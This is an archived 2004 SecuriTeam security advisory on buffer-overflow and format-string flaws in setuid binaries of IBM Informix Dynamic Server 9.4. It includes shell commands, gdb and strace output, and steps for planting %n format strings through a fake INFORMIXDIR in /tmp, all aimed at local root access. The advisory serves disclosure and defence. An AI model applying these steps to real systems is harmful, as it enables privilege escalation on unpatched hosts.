[UNIX] IBM Informix Dynamic Server Contains Multiple Vulnerabilities

From: SecuriTeam (support_at_securiteam.com)
Date: 01/29/04

  • Next message: SecuriTeam: "[EXPL] Alphanumeric GetPC Code and Shellcode Encoder-Decoder" 
    To: list@securiteam.com
Date: 29 Jan 2004 15:51:51 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      IBM Informix Dynamic Server Contains Multiple Vulnerabilities
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www-3.ibm.com/software/data/informix/> Informix Dynamic Server
    is a best-of-breed online transaction processing database for enterprise
    and workgroup computing. IDS is built on Dynamic Scalable Architecture
    that uses hardware resources more efficiently and minimizes hardware
    requirements."

    There are several suid executables in the IDS istallation with security
    issues such as buffer overflows and format string vulnerabilities, and
    this combination enables local users to receive root privileges.

    DETAILS

    Vulnerable Systems:
     * Informix Dynamic Server version 9.4

    Immune Systems:
     * Informix Dynamic Server version 9.40.UC3, 9.30.UC7 and 7.31.UD7 fix
    pack

    During routine product evaluation several setuid binaries were found that
    contained security issues. An Informix installation typically installs the
    following setuid and setgid files:

    -rwsr-sr-- 1 root informix 10153315 Jul 19 12:30 ./oninit
    -rwsr-sr-x 1 root informix 1019813 Jul 19 12:30 ./onmode
    -rwsr-sr-x 1 root informix 1066468 Mar 15 11:47 ./onedcu
    -rwsr-sr-x 1 root informix 13443 Mar 15 11:46 ./ifmxgcore
    -rwsr-sr-x 1 root informix 1615730 Jul 19 12:30 ./ontape
    -rwsr-sr-x 1 root informix 1831430 Mar 15 11:51 ./ondblog
    -rwsr-sr-x 1 root informix 1897244 Jul 19 12:30 ./onbar_d
    -rwsr-sr-x 1 root informix 1909871 Jul 19 12:30 ./onsmsync
    -rwsr-sr-x 1 root informix 2143212 Jul 19 12:30 ./onmonitor
    -rwsr-sr-x 1 root informix 511534 Mar 15 11:53 ./sgidsh
    -rwsr-sr-x 1 root informix 511623 Mar 15 11:53 ./mkdbsdir
    -rwsr-sr-x 1 root informix 537232 Jul 19 12:30 ./onshowaudit
    -rwsr-sr-x 1 root informix 948490 Jul 19 12:30 ./onaudit
    -rwxr-sr-x 1 informix informix 1063801 Mar 15 11:47 ./xtree
    -rwxr-sr-x 1 informix informix 1196928 Jul 19 12:29 ./onspaces
    -rwxr-sr-x 1 informix informix 1199645 Jul 19 12:29 ./onparams
    -rwxr-sr-x 1 informix informix 1314460 Jul 19 12:29 ./onlog
    -rwxr-sr-x 1 informix informix 1438131 Jul 19 12:29 ./oncheck
    -rwxr-sr-x 1 informix informix 2235020 Jul 19 12:29 ./onpload
    -rwxr-sr-x 1 informix informix 3974843 Jul 19 12:29 ./onstat
    -rwxr-sr-x 1 informix informix 539519 Mar 15 11:47 ./onedpu
    -rwxr-sr-x 1 informix informix 895422 Jul 19 12:29 ./onload
    -rwxr-sr-x 1 informix informix 895424 Jul 19 12:29 ./onunload

    Most if not all of the binaries share common exploitable conditions. For
    example, a simple buffer overflow in the GL_PATH environment variable.
    Testing for this buffer overflow in the following manner yields:

    $ export GL_PATH=`perl -e 'print "A" x 998'`
    $ ./xtree
    Segmentation fault

    A quick run in gdb shows the following. Smaller string lengths reveal that
    this issue may be complicated because of a few free() calls.

    # export GL_PATH=`perl -e 'print "A" x 3068'`ABCD

    (gdb) i r
    eax 0x44434241 1145258561
    ecx 0x1 1
    edx 0x53 83
    ebx 0x401f21c0 1075782080
    esp 0xbfffcaf0 0xbfffcaf0
    ebp 0xbfffd1ac 0xbfffd1ac
    esi 0x44434241 1145258561
    edi 0xbfffcd4c -1073754804
    eip 0x401361db 0x401361db
    ..
    (gdb) bt
    #0 0x401751db in strlen () from /lib/libc.so.6
    #1 0x40144c7e in vfprintf () from /lib/libc.so.6
    #2 0x4015fb2c in vsprintf () from /lib/libc.so.6
    #3 0x4014d02d in sprintf () from /lib/libc.so.6
    #4 0x080a2138 in gl_path_search1 ()

    Testing for vulnerable executables yields the following results:

    $ for each in `find . -perm -2000 -user informix`
    > do
    > echo $each
    > $each
    > done
    /onstat
    Segmentation fault
    /onspaces
    Segmentation fault
    /onparams
    Segmentation fault
    /onload
    Segmentation fault
    /oncheck
    Segmentation fault
    /onunload
    Segmentation fault

    [informix@vegeta bin]$ for each in `find . -perm -4000`
    > do
    > echo $each
    > $each
    > done
    /oninit
    Segmentation fault
    /onmode
    Segmentation fault
    /onedcu
    Segmentation fault
    /onshowaudit
    Segmentation fault
    /onaudit
    Segmentation fault
    /onbar_d
    Segmentation fault
    /ondblog
    Segmentation fault
    /onsmsync
    Segmentation fault
    /ontape
    Segmentation fault

    It is easily seen by these results that many IDS executables are
    vulnerable to such an attack.

    The next vulnerability discovered is a bit more complex. When Informix
    binaries are run they begin looking for several message files. The
    searching is done in relation to the INFORMIXDIR environment variable. If
    an attacker sets INFORMIXDIR to /tmp it begins searching /tmp for the
    necessary files.

    # export INFORMIXDIR=/tmp
    # strace ./onmonitor
    execve("./onmonitor", ["./onmonitor"], [/* 34 vars */]) = 0
    ..
    open("/tmp/en_us/0333.lco", O_RDONLY|O_LARGEFILE)
    open("/tmp/etc/informix.rc", O_RDONLY|O_LARGEFILE)
    open("/tmp/os/en_US.819", O_RDONLY|O_LARGEFILE)
    open("/tmp/registry", O_RDONLY)

    Depending on the application in question, different files are searched
    for. For example, the /usr/informix/bin/oncheck is searching for
    olutil.iem.

    # bin/oncheck -cc aaa
    shared memory not initialized for INFORMIXSERVER '< NULL>'

    # strace bin/oncheck -cc aaa
    ..
    strcat("/usr/informix/msg/en_us/0333"..., "olutil.iem")
    access("/usr/informix/msg/en_us/0333"..., 4)
    lseek64(3, 37251, 0, 0, 0)
    read(3, "shared memory no"..., 55)
    strcpy(0x081da720, "shared memory no"...)
    printf("shared memory not initialized for INFORMIXSERV"...

    Since anyone can control the INFORMIXDIR variable, it is fairly trivial
    for to inject format string messages into the printf() statements that are
    included in order to throw various error messages. Since INFORMIXDIR has a
    lot of critical items in it we must first make a copy of it. The easiest
    way of doing this is via multiple symlinks.

    $ cd /tmp
    $ for each in `find /usr/informix/ -type d`; do mkdir -p ./$each ; done
    $ for each in `find /usr/informix`; do ln -s $each ./$each; done

    Since we need to edit the message file we will need to rm the link and
    copy the file into the correct location.

    $ rm usr/informix/msg/en_us/0333/olutil.iem
    $ cp /usr/informix/msg/en_us/0333/olutil.iem usr/informix/msg/en_us/0333/

    Using the above oncheck example the olutil.iem file should be edited.
    Opening usr/informix/msg/en_us/0333/olutil.iem in vi and searching for:
    "shared memory not initialized for INFORMIXSERVER ''". As a test we can
    change the text to the following: "^@%x.%x. memory not initialized for
    INFORMIXSERVER '%s'" (without the double quotes).

    Running the binary again shows:
    $ bin/oncheck -cc aaa
    81da718.bfffda08. memory not initialized for INFORMIXSERVER 'jhC'

    Obviously changing the message to the following makes the issue more
    interesting: '%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n'. Running the
    binary again now gives a segmentation fault as expected.

    $ bin/oncheck -cc aaa
    Segmentation fault

    Opening the program in gdb shows the usual information in such a case:
    Program received signal SIGSEGV, Segmentation fault.
    0x40144f56 in vfprintf () from /lib/libc.so.6
    (gdb) bt
    #0 0x40144f56 in vfprintf () from /lib/libc.so.6
    #1 0x4014cfb2 in printf () from /lib/libc.so.6
    #2 0x0804b946 in main ()

    While strace shows the details:
    [080b1a11] strcat("/tmp/usr/informix/msg/en_us/0333"..., "olutil.iem")
    [080fc03b] access("/tmp/usr/informix/msg/en_us/0333"..., 4)
    [080d9613] lseek64(3, 37251, 0, 0, 0) = 37251
    [080d95f2] read(3, "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n"..., 55) = 55
    [080b0207] strcpy(0x081da720, "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n"...) =
    0x081da720
    [0804b946] printf("%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n"... < unfinished ...>
    [40144f56] --- SIGSEGV (Segmentation fault) ---
    [ffffffff] +++ killed by SIGSEGV +++

    Proof-of-Concept
    Secure Network Operations have two different Proof of Concept exploits for
    the above mentioned conditions. One takes gid informix and the other uid
    root.

    Vendor Status:
    The vendor (IBM) has addressed the issue in a prompt and efficient manner.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:dotslash@snosoft.com> Secure
    Network Operations

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[EXPL] Alphanumeric GetPC Code and Shellcode Encoder-Decoder"

    Relevant Pages